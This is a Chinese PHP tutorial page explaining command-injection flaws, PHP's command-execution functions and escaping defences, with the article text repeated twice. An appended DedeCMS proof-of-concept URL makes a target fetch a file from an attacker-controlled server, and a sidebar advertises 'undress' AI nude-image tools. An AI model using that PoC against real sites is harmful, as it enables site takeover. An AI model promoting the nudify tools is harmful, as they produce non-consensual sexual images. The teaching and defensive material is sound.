搜索
首页后端开发php教程PHP命令注入dedecms远程写文件链接实例分享

PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。 

 Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
  PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。
  PHP命令注入攻击漏洞带来的危害和影响很严重。防范命令注入攻击漏洞的存在可以通过以下几种方法:
 1.尽量不要执行外部的应用程序或命令。
 2.使用自定义函数或函数库实现外部应用程序或命令的功能。
 3.在执行system、eval等命令执行功能的函数前,确定参数内容。
 4.使用escapeshellarg函数处理相关参数。escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“;”会被转义为“\;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
 5.使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
  PHP命令注入攻击漏洞是PHP应用程序常见漏洞之一。国内著名的PHP应用程序,如Discuz!、Dedecms等大型程序在网络中均被公布过存在命令注入攻击漏洞,黑客可以通过命令注入攻击漏洞快速获取网站权限,进而实施挂马、钓鱼等恶意攻击,造成的影响和危害十分巨大。同时,目前PHP语言应用于Web应用程序开发所占比例较大,Web应用程序员应该了解命令注入攻击漏洞的危害,修补程序中可能存在的被黑客利用的漏洞情况,保护网络用户的安全,免受挂马、钓鱼等恶意代码的攻击

命令执行函数的利用

在PHP中,可以实现执行外部程序或函数的命令执行函数包括以下5个函数。

2.1  system函数

可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加 e03b848252eb9375d56be284e690e873,便可以自动格式化换行显示。
在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=

2.2      exec函数

可以用来执行一个外部的应用程序,函数原型如下:

string exec ( string $command [, array &$output [, int &$return_var ]] ),

其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

2.3  passthru函数

可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int &return_var),


其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。

2.4  shell_exec函数

执行shell命令并返回输出的字符串,函数原型如下:

string shell_exec (string command),

command
是要执行的命令。

2.5  ”反引号

与shell_exec功能相同,执行shell命令并返回输出的字符串。

2.6  Popen函数

popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。

2.7  proc_open函数

用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

2.8pcntl_exec函数

pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

防御函数

当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。

3.1  escapeshellcmd()函数

除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ 6d267e5fab17ea8bc578f9e7e5e1570b ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。

3.3  escapeshellarg函数

该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:string escapeshellarg ( string $arg ),其中arg为需要被转码的参数。

附:dedecms远程写文件漏洞链接(与本文知识点无关)
https://www.seebug.org/vuldb/ssvid-89354
poc:
http://目标IP/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://自己控制的http服务器/

PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
  Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
  PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。
  PHP命令注入攻击漏洞带来的危害和影响很严重。防范命令注入攻击漏洞的存在可以通过以下几种方法:
 1.尽量不要执行外部的应用程序或命令。
 2.使用自定义函数或函数库实现外部应用程序或命令的功能。
 3.在执行system、eval等命令执行功能的函数前,确定参数内容。
 4.使用escapeshellarg函数处理相关参数。escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“;”会被转义为“\;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
 5.使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
  PHP命令注入攻击漏洞是PHP应用程序常见漏洞之一。国内著名的PHP应用程序,如Discuz!、Dedecms等大型程序在网络中均被公布过存在命令注入攻击漏洞,黑客可以通过命令注入攻击漏洞快速获取网站权限,进而实施挂马、钓鱼等恶意攻击,造成的影响和危害十分巨大。同时,目前PHP语言应用于Web应用程序开发所占比例较大,Web应用程序员应该了解命令注入攻击漏洞的危害,修补程序中可能存在的被黑客利用的漏洞情况,保护网络用户的安全,免受挂马、钓鱼等恶意代码的攻击

命令执行函数的利用

在PHP中,可以实现执行外部程序或函数的命令执行函数包括以下5个函数。

2.1  system函数

可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加 e03b848252eb9375d56be284e690e873,便可以自动格式化换行显示。
在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=

2.2      exec函数

可以用来执行一个外部的应用程序,函数原型如下:

string exec ( string $command [, array &$output [, int &$return_var ]] ),


其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

2.3  passthru函数

可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int &return_var),


其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。

2.4  shell_exec函数

执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。

2.5  ”反引号

与shell_exec功能相同,执行shell命令并返回输出的字符串。

2.6  Popen函数

popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。

2.7  proc_open函数

用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )


2.8pcntl_exec函数

pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

防御函数

当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。

3.1  escapeshellcmd()函数

除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ 6d267e5fab17ea8bc578f9e7e5e1570b ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。

3.3  escapeshellarg函数

该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:

string escapeshellarg ( string $arg )

,其中arg为需要被转码的参数。

以上是PHP命令注入dedecms远程写文件链接实例分享的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
PHP电子邮件:分步发送指南PHP电子邮件:分步发送指南May 09, 2025 am 12:14 AM

phpisusedforsendendemailsduetoitsignegrationwithservermailservicesand andexternalsmtpproviders,自动化notifications andMarketingCampaigns.1)设置设置yourphpenvironcormentswironmentswithaweberswithawebserverserverserverandphp,确保themailfunctionisenabled.2)useabasicscruct

如何通过PHP发送电子邮件:示例和代码如何通过PHP发送电子邮件:示例和代码May 09, 2025 am 12:13 AM

发送电子邮件的最佳方法是使用PHPMailer库。1)使用mail()函数简单但不可靠,可能导致邮件进入垃圾邮件或无法送达。2)PHPMailer提供更好的控制和可靠性,支持HTML邮件、附件和SMTP认证。3)确保正确配置SMTP设置并使用加密(如STARTTLS或SSL/TLS)以增强安全性。4)对于大量邮件,考虑使用邮件队列系统来优化性能。

高级PHP电子邮件:自定义标题和功能高级PHP电子邮件:自定义标题和功能May 09, 2025 am 12:13 AM

CustomHeadersheadersandAdvancedFeaturesInphpeMailenHanceFunctionalityAndreliability.1)CustomHeadersheadersheadersaddmetadatatatatataatafortrackingandCategorization.2)htmlemailsallowformattingandttinganditive.3)attachmentscanmentscanmentscanbesmentscanbestmentscanbesentscanbesentingslibrarieslibrarieslibrariesliblarikelikephpmailer.4)smtppapapairatienticationaltication enterticationallimpr

使用PHP和SMTP发送电子邮件的指南使用PHP和SMTP发送电子邮件的指南May 09, 2025 am 12:06 AM

使用PHP和SMTP发送邮件可以通过PHPMailer库实现。1)安装并配置PHPMailer,2)设置SMTP服务器细节,3)定义邮件内容,4)发送邮件并处理错误。使用此方法可以确保邮件的可靠性和安全性。

使用PHP发送电子邮件的最佳方法是什么?使用PHP发送电子邮件的最佳方法是什么?May 08, 2025 am 12:21 AM

ThebestapproachforsendingemailsinPHPisusingthePHPMailerlibraryduetoitsreliability,featurerichness,andeaseofuse.PHPMailersupportsSMTP,providesdetailederrorhandling,allowssendingHTMLandplaintextemails,supportsattachments,andenhancessecurity.Foroptimalu

PHP中依赖注入的最佳实践PHP中依赖注入的最佳实践May 08, 2025 am 12:21 AM

使用依赖注入(DI)的原因是它促进了代码的松耦合、可测试性和可维护性。1)使用构造函数注入依赖,2)避免使用服务定位器,3)利用依赖注入容器管理依赖,4)通过注入依赖提高测试性,5)避免过度注入依赖,6)考虑DI对性能的影响。

PHP性能调整技巧和技巧PHP性能调整技巧和技巧May 08, 2025 am 12:20 AM

phperformancetuningiscialbecapeitenhancesspeedandeffice,whatevitalforwebapplications.1)cachingwithapcureduccureducesdatabaseloadprovesrovesponsemetimes.2)优化

PHP电子邮件安全性:发送电子邮件的最佳实践PHP电子邮件安全性:发送电子邮件的最佳实践May 08, 2025 am 12:16 AM

ThebestpracticesforsendingemailssecurelyinPHPinclude:1)UsingsecureconfigurationswithSMTPandSTARTTLSencryption,2)Validatingandsanitizinginputstopreventinjectionattacks,3)EncryptingsensitivedatawithinemailsusingOpenSSL,4)Properlyhandlingemailheaderstoa

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

适用于 Eclipse 的 SAP NetWeaver 服务器适配器

将Eclipse与SAP NetWeaver应用服务器集成。

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

安全考试浏览器

安全考试浏览器

Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。